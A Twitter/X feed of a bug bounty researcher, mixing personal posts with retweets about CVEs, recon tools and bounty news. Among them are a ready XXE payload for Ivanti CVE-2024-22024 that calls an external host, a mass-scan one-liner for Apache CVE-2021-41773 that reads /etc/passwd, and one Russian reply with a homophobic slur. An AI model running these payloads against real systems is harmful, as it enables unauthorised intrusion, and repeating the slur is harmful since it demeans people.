Ramazan

Researcher in @deteact
hacked by r0hack

[Hackadvisor @hackadvisor]

Sick of wasting time on buggy bug bounty programs?
At https://t.co/6IxVsyCsAE, hunters leave anonymous reviews — honest, unfiltered & straight from the trenches.

[Tuan Anh Nguyen⚡️ 🇻🇳 @haxor31337]

@l33tdawg @HusseiN98D @ptsecurity @jkana101 @kienbigmummy @HHieupc Congrats @r0hack for MVP T-Bank 🔥

[Bipin Jitiya @win3zz]

CVE-2024-25600: Unauth. RCE vulnerability caused by PHP code injection in Bricks Builder, a WordPress site builder with over 25,000+ active installations.

Severity: Critical (CVSS 9.8)
Root cause analysis: https://t.co/E5K0sIZQn9
PoC: https://t.co/8DflZk7QIW
Mitigation: Upgrade

[H4x0r.DZ 🇰🇵 @h4x0r_dz]

CVE-2024-22024, XXE on Ivanti Connect Secure

payload encoded base64:

<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://{{external-host}}/x"> %xxe;]><r></r>

send it to 127.0.0.1/dana-na/auth/saml-sso.cgi with SAMLRequest parm

#bugbountytips #cve #Ivanti

[Ramazan @r0hack]

Super tool for collecting api endpoints: https://t.co/oax98f4UDo

#tools #pentest #bugbounty

[Ramazan @r0hack]

API endpoint collection methods:
- Dynamic assembly
- In JavaScript files
- With dorks
- Enumeration of endpoints
- APK file
- Internet Archive
- ... and even less popular ways

#pentest #BugBounty

[Ramazan @r0hack]

@a_arelli_ Буду использовать тот язык, который хочу ))

[Ramazan @r0hack]

Hi guys.
Here https://t.co/IbUfEBMF0L will be a lot of my interesting notes on pentests and bagbounty. A fair amount of interesting and useful information has accumulated over the past couple of years.
#pentest #BugBounty #bugbountytips

[Ramazan @r0hack]

@a_arelli_ In English, too, there will be

[Ramazan @r0hack]

By the way, it was an IDOR in the NFT marketplace )

[Ramazan @r0hack]

Yay, I was awarded a $2,500 bounty on @Hacker0x01! https://t.co/vHznK9eE6W #TogetherWeHitHarder

But what the hell do I need them for? Just to look at the figure in my personal account? 🤣🤣

[Ramazan @r0hack]

@patientnumv @Jarek737052 @WSJ Russia still won without her 🤣🤣🤣🤣🤣🤣🤣

[Ramazan @r0hack]

@WSJ Пидаразы. Именно перед выступлением начали морально давить этим…

[Nagli @galnagli]

The new @Grafana CVE-2022-21703, is actually a 1 Click Authentication Bypass and full read SSRF via CSRF, all you need is XSS/TKO on Same site host and the CVSS bumps to 9.3 - Critical.

All @Grafana versions are VULNERABLE 🙃

Read more at https://t.co/abqEX9oidS

#BugBounty

[Dr. Rohit Gautam @aslicyberguy]

CVE-2021-41773 POC 🔥👇

✅ One Liner :

cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done

[Pethuraj M @Pethuraj]

TProxer 🪄 - A Burp Suite extension to automate the process of finding reverse proxy path-based SSRF.
» https://t.co/POCSsscfx4

#cybersecurity #infosec #bugbounty #bugbountytips

[N0t0d4y @0xJin]

Fingerprinting with Shodan and Nuclei engine:
shodan domain DOMAIN TO BOUNTY | awk '{print $3}' | httpx -silent | nuclei -t /home/ofjaaah/PENTESTER/nuclei-templates/
ref @ofjaaah
#bugbounty #bugbountytips

[Ramazan @r0hack]

@h4x0r_dz vitally DDD
but times change

[Ramazan @r0hack]

Handsome.
What were you doing when you were 16?

[Ramazan @r0hack]

@equat0rium @adrien_jeanneau 😁